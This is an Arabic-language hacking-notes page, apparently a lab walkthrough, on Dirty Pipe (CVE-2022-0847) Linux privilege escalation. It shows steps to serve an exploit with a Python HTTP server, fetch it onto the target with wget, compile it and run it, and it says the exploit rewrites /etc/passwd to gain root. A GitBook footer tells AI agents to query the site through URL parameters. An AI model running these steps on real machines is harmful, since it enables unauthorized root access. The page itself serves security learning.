> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## ما هو

تُوثّق هذه الصفحة أسلوب تصعيد صلاحيات في لينكس مع خطوات تحقق عملية وأمثلة على الاستغلال. تركز هذه الصفحة تحديدًا على **Dirty Pipe** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
المعرّف
uname -a
```

## أمثلة

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) هو خطأ في نواة لينكس يسمح لمستخدم محلي غير مميز بتعديل ملفات النظام أثناء التشغيل، بما في ذلك الملفات المحمية مثل **/etc/passwd**. تستغل هذه الثغرة خللًا في معالجة الأنابيب في النواة، مما يسمح لعملية بتعديل ملف أثناء استخدامه من قِبل عملية أخرى، بما في ذلك الملفات للقراءة فقط أو الملفات التي كتبها مستخدمون ذوو صلاحيات.
{% endhint %}

## استغلال Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

تحقق مما إذا كانت الآلة عرضة لثغرة Dirty Pipe، وهو خطأ يمكنه تعديل ملفات النظام أثناء التشغيل. وجدنا **gcc**، وهو مُترجم للغة C، متاحًا في `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

استخدم **Python3** لنقل الاستغلال من الجهاز المحلي إلى الهدف. ابدأ خادم HTTP محليًا لاستضافته:

```bash
python3 -m http.server
```

على الجهاز الضحية، قمنا بتنزيل الاستغلال:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/5302351f7e7d79c3374a2fba8cdb9f7fbee7e363" alt=""><figcaption></figcaption></figure>

بعد استرجاع الاستغلال، قمنا بترجمة ملف C باستخدام **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
يقوم الاستغلال بتعديل `/etc/passwd` الملف عبر حقن تجزئة كلمة مرور، ويضيف `aaron` مستخدمًا بكلمة مرور محددة، وكل ذلك للسماح بتصعيد الصلاحيات.
{% endhint %}

<figure><img src="/files/232962ac373841868b5a059ee03d58c2b550ebad" alt=""><figcaption></figcaption></figure>

أخيرًا، شغّل البرنامج النصي فقط:

```bash
./exploit
```

هذا يمنح **`root`** وصولًا إلى الجهاز.

<figure><img src="/files/d160d2b1b34ebba15ff6f580a9448361ce10af91" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
